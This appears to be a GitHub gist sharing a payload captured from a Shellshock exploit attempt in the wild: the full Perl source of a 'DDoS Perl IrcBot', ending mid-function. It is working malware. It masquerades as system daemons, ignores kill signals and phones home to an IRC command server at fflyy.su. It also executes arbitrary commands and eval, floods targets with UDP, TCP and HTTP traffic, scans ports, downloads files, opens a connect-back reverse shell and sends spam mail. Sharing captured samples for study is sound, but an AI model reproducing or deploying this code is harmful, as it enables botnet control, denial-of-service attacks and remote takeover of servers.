Skip to content

Instantly share code, notes, and snippets.

@tedpennings
Last active March 8, 2020 19:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tedpennings/295c81105518ce820fea to your computer and use it in GitHub Desktop.
Save tedpennings/295c81105518ce820fea to your computer and use it in GitHub Desktop.
Shellshock exploit attempt from the wild
# The Base 64 decoded version of that script -- contents begin on next line
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ###########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
## I'm not responsible for the illegal use of this program. ## !u @utils ##
######################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
######################################################################################################################
## !u @join <#channel> ## !u @udp1 <ip> <port> <time> ## !u @cback <ip> <port> ##
## !u @part <#channel> ## !u @udp2 <ip> <packet size> <time> ## !u @downlod <url+path> <file> ##
## !u !uejoin <#channel> ## !u @udp3 <ip> <port> <time> ## !u @portscan <ip> ##
## !u !op <channel> <nick> ## !u @tcp <ip> <port> <packet size> <time> ## !u @mail <subject> <sender> ##
## !u !deop <channel> <nick> ## !u @http <site> <time> ## <recipient> <message> ##
## !u !voice <channel> <nick> ## ## !u pwd;uname -a;id <for example> ##
## !u !devoice <channel> <nick> ## !u @ctcpflood <nick> ## !u @port <ip> <port> ##
## !u !nick <newnick> ## !u @msgflood <nick> ## !u @dns <ip/host> ##
## !u !msg <nick> ## !u @noticeflood <nick> ## ##
## !u !quit ## ## ##
## !u !uaw ## ## ##
## !u @die ## ## ##
## ## ## ##
######################################################################################################################
######################################################################################################################
#############################
##### [ Configuration ] #####
#############################
my @rps = ("/usr/local/apache/bin/httpd -DSSL",
"/usr/sbin/httpd -k start -DSSL",
"/usr/sbin/httpd",
"/usr/sbin/sshd -i",
"/usr/sbin/sshd",
"/usr/sbin/sshd -D",
"/usr/sbin/apache2 -k start",
"/sbin/syslogd",
"/sbin/klogd -c 1 -x -x",
"/usr/sbin/acpid",
"/usr/sbin/cron");
my $process = $rps[rand scalar @rps];
my $vers = "\001VERSION - unknown command.\001";
my $ircname = "shock";
my $realname = `uname -vr`;
my $nick = "perl";
$server = 'fflyy.su' unless $server;
my $port = '8080';
my $linas_max='10';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'DDoS Perl Bot v1.0';
my @admins = ("M","st0n3d","x00","Jorgee");
my @hostauth = ("lolhome");
my @channels = ("#mperl2");
$unamea = `uname -a`;
$uid = `id`;
my $pacotes = 1;
#################################################################
##### [ Stop Editing if you dont know what are you doing. ] #####
#################################################################
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
chdir("$homedir");
$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub getstore ($$)
{
my $url = shift;
my $file = shift;
$http_stream_out = 1;
open(GET_OUTFILE, "> $file");
%http_loop_check = ();
_get($url);
close GET_OUTFILE;
return $main::http_get_result;
}
sub _get
{
my $url = shift;
my $proxy = "";
grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
my $host = $1;
my $port = $2 || 80;
my $path = $3;
$path = "/" unless defined($path);
return _trivial_http_get($host, $port, $path);
} elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
my $host = $1;
my $port = $2;
my $path = $url;
return _trivial_http_get($host, $port, $path);
} else {
return undef;
}
}
sub _trivial_http_get
{
my($host, $port, $path) = @_;
my($AGENT, $VERSION, $p);
$AGENT = "get-minimal";
$VERSION = "20000118";
$path =~ s/ /%20/g;
require IO::Socket;
local($^W) = 0;
my $sock = IO::Socket::INET->new(PeerAddr => $host,
PeerPort => $port,
Proto => 'tcp',
Timeout => 60) || return;
$sock->autoflush;
my $netloc = $host;
$netloc .= ":$port" if $port != 80;
my $request = "GET $path HTTP/1.0\015\012"
. "Host: $netloc\015\012"
. "User-Agent: $AGENT/$VERSION/u\015\012";
$request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
$request .= "\015\012";
print $sock $request;
my $buf = "";
my $n;
my $b1 = "";
while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
if ($b1 eq "") {
$b1 = $buf;
$buf =~ s/.+?\015?\012\015?\012//s;
}
if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
}
return undef unless defined($n);
$main::http_get_result = 200;
if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
$main::http_get_result = $1;
if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
my $url = $1;
return undef if $http_loop_check{$url}++;
return _get($url);
}
return undef unless $main::http_get_result =~ /^2/;
}
return $buf;
}
sub conectar {
my $meunick = $_[0];
my $server_con = $_[1];
my $port_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
PeerPort=>$port_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
}
if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1");
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick|".int rand((8999999999)+1000000000));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@channels) {
sendraw("MODE $nick +x");
sendraw("JOIN $canal");
sendraw("PRIVMSG $canal :$unamea");
sendraw("PRIVMSG $canal :$uid");
}
}
}
sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
###########################
##### [ Help Module ] #####
###########################
if ($funcarg =~ /^help/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Main Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
}
if ($funcarg =~ /^system/) {
$uptime=`uptime`;
$ownd=`pwd`;
$id=`id`;
$uname=`uname -srp`;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server : 12$server ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port : 12$port ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels : 12@channels ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a : 12$uname ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime : 12$uptime ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess : 12$process ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID : 12$$ ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID : 12$id ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir : 12$ownd ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
}
if ($funcarg =~ /^version/){
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12DDoS ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year : 122012 ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
}
if ($funcarg =~ /^flood/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Flood Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
}
if ($funcarg =~ /^channel/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Channel Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
}
if ($funcarg =~ /^utils/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1DDoS PerlBot Utils Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
}
#########################
##### [ Functions ] #####
#########################
if ($funcarg =~ /^die/) {
sendraw($IRC_cur_socket, "QUIT :");
$killd = "kill -9 ".fork;
system (`$killd`);
}
###########
if ($funcarg =~ /^join (.*)/) {
sendraw($IRC_cur_socket, "JOIN ".$1);
}
if ($funcarg =~ /^part (.*)/) {
sendraw($IRC_cur_socket, "PART ".$1);
}
###########
if ($funcarg =~ /^portscan (.*)/) {
my $hostip="$1";
my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
my (@aberta, %porta_banner);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
foreach my $porta (@portas) {
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
if ($scansock) {
push (@aberta, $porta);
$scansock->close;
}
}
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
} else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
}
}
##############
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
}
##############
if ($funcarg =~ /^dns\s+(.*)/){
my $nsku = $1;
$mydns = inet_ntoa(inet_aton($nsku));
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
}
##############
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
my $hostip= "$1";
my $portsc= "$2";
my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
if ($scansock) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
}
else {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
}
}
##############
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $dtime = "$3";
my $pacote;
my $pacotese;
my $size = 0;
my $fim = time + $dtime;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($dtime != "0"));
$pacote = $size ? $size : int(rand(1024-64)+64) ;
$porta = int(rand 65000) +1 if ($porta == "0");
#send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
}
##############
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
my $alvo=inet_aton("$1");
my $porta = "$2";
my $dtime = "$3";
my $pacote;
my $pacotese;
my $fim = time + $dtime;
my $pacota = 1;
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
while (($pacota == "1") && ($pacotes == "1")) {
$pacota = 0 if ((time >= $fim) && ($dtime != "0"));
$pacote= $rand x $rand x $rand;
$porta = int(rand 65000) +1 if ($porta == "0");
send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############
##############
if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. ");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($3>$cur_time){
$cur_time = time - $itime;
&tcpflooder("$1","$2","$3");
}
sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. ");
}
##############
if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. ");
my $itime = time;
my ($cur_time);
$cur_time = time - $itime;
while ($2>$cur_time){
$cur_time = time - $itime;
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $port = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port ");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
}
##############
if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 ");
$subject = $1;
$sender = $2;
$recipient = $3;
@corpo = $4;
$mailtype = "content-type: text/html";
$sendmail = '/usr/sbin/sendmail';
open (SENDMAIL, "| $sendmail -t");
print SENDMAIL "$mailtype\n";
print SENDMAIL "Subject: $subject\n";
print SENDMAIL "From: $sender\n";
print SENDMAIL "To: $recipient\n\n";
print SENDMAIL "@corpo\n\n";
close (SENDMAIL);
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient ");
}
exit;
}
}
##############
if ($funcarg =~ /^ctcpflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." ");
for (1..10) {
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n");
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n");
}
}
##############
if ($funcarg =~ /^msgflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." ");
sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
}
##############
if ($funcarg =~ /^noticeflood (.*)/) {
my $target = "$1";
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." ");
for (1..2){
sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...");
}
}
##############
##############
sub ircase {
my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
}
elsif ($case =~ /^part (.*)/) {
p("$1");
}
elsif ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
elsif ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
elsif ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
elsif ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", "6667");
}
elsif ($case =~ /^nick (.*)/) {
nick("$1");
}
elsif ($case =~ /^raw (.*)/) {
sendraw("$1");
}
elsif ($case =~ /^eval (.*)/) {
eval "$1";
}
elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
j("$1");
}
elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) {
sleep int(rand($2));
p("$1");
}
elsif ($case =~ /^quit/) {
quit();
}
}
##############
sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "No such file or directory");
return;
} elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
##############
sub udpflooder {
my $iaddr = inet_aton($_[0]);
my $msg = 'A' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
